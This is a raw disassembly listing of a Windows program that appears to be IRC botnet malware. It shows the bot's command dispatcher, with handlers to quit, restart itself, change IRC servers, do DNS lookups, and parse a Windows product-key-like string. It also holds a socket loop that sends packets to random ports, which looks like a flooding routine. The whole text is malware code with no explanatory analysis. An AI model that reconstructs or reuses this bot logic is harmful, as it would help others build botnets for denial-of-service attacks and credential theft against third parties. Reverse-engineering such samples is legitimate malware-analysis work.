loc_40BCAD:				; CODE XREF: sub_40A9CF+12D5j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BCB2:				; CODE XREF: sub_40A9CF+126Cj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A50
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BCD9
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_415DFD
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BCD9:				; CODE XREF: sub_40A9CF+12F6j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A44
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BD13
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BCFC
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BCFC:				; CODE XREF: sub_40A9CF+1326j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	offset dword_419A3C
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BD13:				; CODE XREF: sub_40A9CF+131Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A30
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40BD52
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A24
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40BD52
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A1C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BD62


loc_40BD52:				; CODE XREF: sub_40A9CF+1357j
					; sub_40A9CF+136Cj
		push	offset aQuitExitting ; "QUIT :exitting"
		call	sub_40D6CB
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BD62:				; CODE XREF: sub_40A9CF+1381j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A10
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BDC9
		push	104h
		lea	eax, [ebp+var_5B74]
		push	eax
		push	0
		call	dword_41708C
		push	eax
		call	dword_417090
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_5B74]
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	dword_4171D0
		cmp	eax, 20h
		ja	short loc_40BDB6
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BDB6:				; CODE XREF: sub_40A9CF+13E0j
		push	offset aQuitRestarting ; "QUIT :restarting"
		call	sub_40D6CB
		pop	ecx
		push	0
		call	dword_41705C


loc_40BDC9:				; CODE XREF: sub_40A9CF+13A6j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A04
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BE19
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BDEC
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BDEC:				; CODE XREF: sub_40A9CF+1416j
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movzx	eax, byte ptr [eax]
		push	eax
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movzx	eax, byte ptr [eax]
		push	eax
		push	offset dword_4199D4
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BE19:				; CODE XREF: sub_40A9CF+140Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4199C4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BE38
		call	sub_407148
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BE38:				; CODE XREF: sub_40A9CF+145Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4199BC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40BE62
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4199B0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BE7B


loc_40BE62:				; CODE XREF: sub_40A9CF+147Cj
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_401D6E
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BE7B:				; CODE XREF: sub_40A9CF+1491j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4199A8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BEA9
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40CEB0
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BEA9:				; CODE XREF: sub_40A9CF+14BFj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41999C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40BED3
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41998C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BEFD


loc_40BED3:				; CODE XREF: sub_40A9CF+14EDj
		push	offset aQuitChangingSe ; "QUIT :changing server"
		call	sub_40D6CB
		pop	ecx
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_40D366
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BEFD:				; CODE XREF: sub_40A9CF+1502j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41996C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C0D9
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BF29
		mov	eax, [ebp+arg_14]
		mov	dword ptr [eax+4], offset byte_41DF10


loc_40BF29:				; CODE XREF: sub_40A9CF+154Ej
		lea	eax, [ebp+var_5B78]
		push	eax
		push	0
		push	0
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	dword_41DF64	; getaddrinfo
		test	eax, eax
		jnz	loc_40C0BA
		mov	eax, [ebp+var_5B78]
		mov	[ebp+var_5B7C],	eax


loc_40BF54:				; CODE XREF: sub_40A9CF+16D8j
		cmp	[ebp+var_5B7C],	0
		jz	loc_40C0AC
		push	2
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_5F80]
		push	eax
		mov	eax, [ebp+var_5B7C]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_5B7C]
		push	dword ptr [eax+18h]
		call	dword_41DF68	; getnameinfo
		test	eax, eax
		jnz	loc_40C098
		mov	eax, [ebp+var_5B7C]
		cmp	dword ptr [eax+4], 2
		jnz	short loc_40BFEA
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40BFBA
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	[ebp+var_63F8],	eax
		jmp	short loc_40BFC4
; ---------------------------------------------------------------------------


loc_40BFBA:				; CODE XREF: sub_40A9CF+15DBj
		mov	[ebp+var_63F8],	offset dword_419968


loc_40BFC4:				; CODE XREF: sub_40A9CF+15E9j
		lea	eax, [ebp+var_5F80]
		push	eax
		push	[ebp+var_63F8]
		push	offset dword_419944
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	loc_40C08D
; ---------------------------------------------------------------------------


loc_40BFEA:				; CODE XREF: sub_40A9CF+15CEj
		mov	eax, [ebp+var_5B7C]
		cmp	dword ptr [eax+4], 17h
		jnz	short loc_40C03E
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40C011
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	[ebp+var_63FC],	eax
		jmp	short loc_40C01B
; ---------------------------------------------------------------------------


loc_40C011:				; CODE XREF: sub_40A9CF+1632j
		mov	[ebp+var_63FC],	offset dword_419968


loc_40C01B:				; CODE XREF: sub_40A9CF+1640j
		lea	eax, [ebp+var_5F80]
		push	eax
		push	[ebp+var_63FC]
		push	offset dword_419920
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	short loc_40C08D
; ---------------------------------------------------------------------------


loc_40C03E:				; CODE XREF: sub_40A9CF+1625j
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40C059
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	[ebp+var_6400],	eax
		jmp	short loc_40C063
; ---------------------------------------------------------------------------


loc_40C059:				; CODE XREF: sub_40A9CF+167Aj
		mov	[ebp+var_6400],	offset dword_419968


loc_40C063:				; CODE XREF: sub_40A9CF+1688j
		lea	eax, [ebp+var_5F80]
		push	eax
		mov	eax, [ebp+var_5B7C]
		push	dword ptr [eax+4]
		push	[ebp+var_6400]
		push	offset dword_4198EC
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_40C08D:				; CODE XREF: sub_40A9CF+1616j
					; sub_40A9CF+166Dj
		push	3E8h
		call	dword_41709C


loc_40C098:				; CODE XREF: sub_40A9CF+15BEj
		mov	eax, [ebp+var_5B7C]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_5B7C],	eax
		jmp	loc_40BF54
; ---------------------------------------------------------------------------


loc_40C0AC:				; CODE XREF: sub_40A9CF+158Cj
		push	[ebp+var_5B78]
		call	dword_41DF6C	; freeaddrinfo
		jmp	short loc_40C0D4
; ---------------------------------------------------------------------------


loc_40C0BA:				; CODE XREF: sub_40A9CF+1573j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_4198D0
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40C0D4:				; CODE XREF: sub_40A9CF+16E9j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C0D9:				; CODE XREF: sub_40A9CF+1541j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4198C4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C1D4
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40C105
		mov	eax, [ebp+arg_14]
		mov	dword ptr [eax+4], offset byte_41DF10


loc_40C105:				; CODE XREF: sub_40A9CF+172Aj
		lea	eax, [ebp+var_5F84]
		push	eax
		push	0
		push	0
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	dword_41DF64	; getaddrinfo
		test	eax, eax
		jnz	loc_40C1B5
		push	4
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_6388]
		push	eax
		mov	eax, [ebp+var_5F84]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_5F84]
		push	dword ptr [eax+18h]
		call	dword_41DF68	; getnameinfo
		test	eax, eax
		jnz	short loc_40C1A9
		push	[ebp+var_5F84]
		call	dword_41DF6C	; freeaddrinfo
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40C179
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	[ebp+var_6404],	eax
		jmp	short loc_40C183
; ---------------------------------------------------------------------------


loc_40C179:				; CODE XREF: sub_40A9CF+179Aj
		mov	[ebp+var_6404],	offset dword_419968


loc_40C183:				; CODE XREF: sub_40A9CF+17A8j
		lea	eax, [ebp+var_6388]
		push	eax
		push	[ebp+var_6404]
		push	offset dword_4198A8
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C1A9:				; CODE XREF: sub_40A9CF+1781j
		push	[ebp+var_5F84]
		call	dword_41DF6C	; freeaddrinfo


loc_40C1B5:				; CODE XREF: sub_40A9CF+174Fj
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_4198D0
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C1D4:				; CODE XREF: sub_40A9CF+171Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419898
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C37A
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40C207
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416B40
		pop	ecx
		cmp	eax, 0Ah
		ja	short loc_40C20C


loc_40C207:				; CODE XREF: sub_40A9CF+1825j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C20C:				; CODE XREF: sub_40A9CF+1836j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416B40
		pop	ecx
		mov	[ebp+var_638C],	eax
		push	4
		push	offset a2002	; "2002"
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416DEA	; memcmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_40C35B
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-9]
		mov	[ebp+var_6398],	al
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-8]
		mov	[ebp+var_6397],	al
		and	[ebp+var_6396],	0
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-7]
		mov	[ebp+var_6395],	al
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-6]
		mov	[ebp+var_6394],	al
		and	[ebp+var_6393],	0
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-4]
		mov	[ebp+var_6392],	al
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-3]
		mov	[ebp+var_6391],	al
		and	[ebp+var_6390],	0
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-2]
		mov	[ebp+var_638F],	al
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-1]
		mov	[ebp+var_638E],	al
		and	[ebp+var_638D],	0
		lea	eax, [ebp+var_638F]
		push	eax
		call	sub_40A8AD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6392]
		push	eax
		call	sub_40A8AD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6395]
		push	eax
		call	sub_40A8AD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6398]
		push	eax
		call	sub_40A8AD
		pop	ecx
		push	eax
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419860
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		jmp	short loc_40C375
; ---------------------------------------------------------------------------


loc_40C35B:				; CODE XREF: sub_40A9CF+1866j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419844
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40C375:				; CODE XREF: sub_40A9CF+198Aj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C37A:				; CODE XREF: sub_40A9CF+1818j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419838
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C4B0
		call	sub_416B64
		mov	[ebp+var_639C],	eax
		and	[ebp+var_63A4],	0
		and	[ebp+var_63A0],	0
		push	10h
		push	0
		lea	eax, [ebp+var_63B4]
		push	eax
		call	sub_416B6A
		add	esp, 0Ch
		mov	[ebp+var_63B4],	2


loc_40C3C8:				; CODE XREF: sub_40A9CF+1A95j
		call	sub_416B64
		sub	eax, [ebp+var_639C]
		cmp	eax, 3E8h
		jnb	loc_40C469
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	dword_417238
		mov	[ebp+var_63B2],	ax
		push	4
		push	0
		call	sub_4040E8
		pop	ecx
		pop	ecx
		mov	[ebp+var_63B0],	eax
		push	0
		push	2
		push	2
		call	dword_417218
		mov	[ebp+var_63B8],	eax
		push	10h
		lea	eax, [ebp+var_63B4]
		push	eax
		push	[ebp+var_63B8]
		call	dword_4171F4
		push	0
		push	1
		lea	eax, [ebp+var_63A0]
		push	eax
		push	[ebp+var_63B8]
		call	dword_41720C
		push	[ebp+var_63B8]
		call	dword_417230
		mov	eax, [ebp+var_63A4]
		add	eax, 2Bh
		mov	[ebp+var_63A4],	eax
		jmp	loc_40C3C8
; ---------------------------------------------------------------------------


loc_40C469:				; CODE XREF: sub_40A9CF+1A09j
		cmp	[ebp+var_63A4],	400h
		jbe	short loc_40C483
		mov	eax, [ebp+var_63A4]
		mov	[ebp+var_6408],	eax
		jmp	short loc_40C48D
; ---------------------------------------------------------------------------


loc_40C483:				; CODE XREF: sub_40A9CF+1AA4j
		mov	[ebp+var_6408],	400h


loc_40C48D:				; CODE XREF: sub_40A9CF+1AB2j
		mov	eax, [ebp+var_6408]
		shr	eax, 0Ah
		push	eax
		push	offset dword_419820
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C4B0:				; CODE XREF: sub_40A9CF+19BEj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419818
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40C4DA
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41980C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C4FF


loc_40C4DA:				; CODE XREF: sub_40A9CF+1AF4j
		push	offset dword_41DD10
		push	3B7h
		push	0
		push	offset dword_4197E8
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C4FF:				; CODE XREF: sub_40A9CF+1B09j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197DC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C53A
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4142BF
		add	esp, 10h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C53A:				; CODE XREF: sub_40A9CF+1B43j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197D4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40C564
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197C8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C576


loc_40C564:				; CODE XREF: sub_40A9CF+1B7Ej
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4087C4
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C576:				; CODE XREF: sub_40A9CF+1B93j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197C0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40C5A0
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197B4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C5B2


loc_40C5A0:				; CODE XREF: sub_40A9CF+1BBAj
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_408E4A
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C5B2:				; CODE XREF: sub_40A9CF+1BCFj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197A4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C614
		push	1
		push	offset a9252	; "9252"
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_63BC],	eax
		push	[ebp+var_63BC]
		push	offset dword_418B5C
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		cmp	[ebp+var_63BC],	0
		jnz	short loc_40C603
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C603:				; CODE XREF: sub_40A9CF+1C2Dj
		push	[ebp+var_63BC]
		call	sub_404CBB
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C614:				; CODE XREF: sub_40A9CF+1BF6j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419790
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C63B
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4091E2
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C63B:				; CODE XREF: sub_40A9CF+1C58j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419788
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40C669
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41977C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C896


loc_40C669:				; CODE XREF: sub_40A9CF+1C7Fj
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40C686
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416B9C
		pop	ecx
		mov	[ebp+var_640C],	eax
		jmp	short loc_40C68D
; ---------------------------------------------------------------------------


loc_40C686:				; CODE XREF: sub_40A9CF+1CA1j
		and	[ebp+var_640C],	0


loc_40C68D:				; CODE XREF: sub_40A9CF+1CB5j
		mov	eax, [ebp+var_640C]
		mov	[ebp+var_63C8],	eax
		call	sub_4092A4
		mov	[ebp+var_63E0],	eax
		mov	eax, [ebp+var_63E0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_63D8],	eax
		mov	eax, [ebp+var_63E0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp+var_63C4],	eax
		mov	eax, [ebp+var_63E0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		mov	[ebp+var_63D4],	eax
		mov	eax, [ebp+var_63D8]
		cmp	eax, [ebp+var_63C8]
		jnb	short loc_40C715
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C715:				; CODE XREF: sub_40A9CF+1D3Fj
		call	sub_409318
		mov	[ebp+var_63C0],	eax
		mov	eax, [ebp+var_63C0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_63CC],	eax
		mov	eax, [ebp+var_63C0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp+var_63DC],	eax
		mov	eax, [ebp+var_63C0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		mov	[ebp+var_63D0],	eax
		cmp	[ebp+var_63D0],	1
		jnz	short loc_40C793
		mov	[ebp+var_6410],	offset byte_41DF10
		jmp	short loc_40C79D
; ---------------------------------------------------------------------------


loc_40C793:				; CODE XREF: sub_40A9CF+1DB6j
		mov	[ebp+var_6410],	offset dword_4191F4


loc_40C79D:				; CODE XREF: sub_40A9CF+1DC2j
		cmp	[ebp+var_63DC],	1
		jnz	short loc_40C7B2
		mov	[ebp+var_6414],	offset byte_41DF10
		jmp	short loc_40C7BC
; ---------------------------------------------------------------------------


loc_40C7B2:				; CODE XREF: sub_40A9CF+1DD5j
		mov	[ebp+var_6414],	offset dword_4191F4


loc_40C7BC:				; CODE XREF: sub_40A9CF+1DE1j
		cmp	[ebp+var_63CC],	1
		jnz	short loc_40C7D1
		mov	[ebp+var_6418],	offset byte_41DF10
		jmp	short loc_40C7DB
; ---------------------------------------------------------------------------


loc_40C7D1:				; CODE XREF: sub_40A9CF+1DF4j
		mov	[ebp+var_6418],	offset dword_4191F4


loc_40C7DB:				; CODE XREF: sub_40A9CF+1E00j
		cmp	[ebp+var_63D4],	1
		jnz	short loc_40C7F0
		mov	[ebp+var_641C],	offset byte_41DF10
		jmp	short loc_40C7FA
; ---------------------------------------------------------------------------


loc_40C7F0:				; CODE XREF: sub_40A9CF+1E13j
		mov	[ebp+var_641C],	offset dword_4191F4


loc_40C7FA:				; CODE XREF: sub_40A9CF+1E1Fj
		cmp	[ebp+var_63C4],	1
		jnz	short loc_40C80F
		mov	[ebp+var_6420],	offset byte_41DF10
		jmp	short loc_40C819
; ---------------------------------------------------------------------------


loc_40C80F:				; CODE XREF: sub_40A9CF+1E32j
		mov	[ebp+var_6420],	offset dword_4191F4


loc_40C819:				; CODE XREF: sub_40A9CF+1E3Ej
		cmp	[ebp+var_63D8],	1
		jnz	short loc_40C82E
		mov	[ebp+var_6424],	offset byte_41DF10
		jmp	short loc_40C838
; ---------------------------------------------------------------------------


loc_40C82E:				; CODE XREF: sub_40A9CF+1E51j
		mov	[ebp+var_6424],	offset dword_4191F4


loc_40C838:				; CODE XREF: sub_40A9CF+1E5Dj
		push	[ebp+var_6410]
		push	[ebp+var_63D0]
		push	[ebp+var_6414]
		push	[ebp+var_63DC]
		push	[ebp+var_6418]
		push	[ebp+var_63CC]
		push	[ebp+var_641C]
		push	[ebp+var_63D4]
		push	[ebp+var_6420]
		push	[ebp+var_63C4]
		push	[ebp+var_6424]
		push	[ebp+var_63D8]
		push	offset dword_419708
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 38h
		jmp	short loc_40C912
; ---------------------------------------------------------------------------


loc_40C896:				; CODE XREF: sub_40A9CF+1C94j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419700
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C912
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40C8BD
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40C8BF


loc_40C8BD:				; CODE XREF: sub_40A9CF+1EE3j
		jmp	short loc_40C912
; ---------------------------------------------------------------------------


loc_40C8BF:				; CODE XREF: sub_40A9CF+1EECj
		push	2
		push	offset aId	; "id"
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40C8EA
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		push	offset byte_41EFA8
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40C8EA:				; CODE XREF: sub_40A9CF+1F07j
		push	offset aUsername ; "username"
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40C912
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		push	offset byte_41F128
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40C912:				; CODE XREF: sub_40A9CF+85j
					; sub_40A9CF+D8j ...
		pop	edi
		pop	esi
		leave
		retn
sub_40A9CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C916	proc near		; CODE XREF: sub_40CA29+47Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp


loc_40C919:				; CODE XREF: sub_40C916+1Fj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_40C937
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40C937
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		jmp	short loc_40C919
; ---------------------------------------------------------------------------


loc_40C937:				; CODE XREF: sub_40C916+Cj
					; sub_40C916+16j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40C916	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C93C	proc near		; DATA XREF: sub_40CEB0+66o

var_534		= dword	ptr -534h
var_530		= byte ptr -530h
var_38F		= byte ptr -38Fh
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

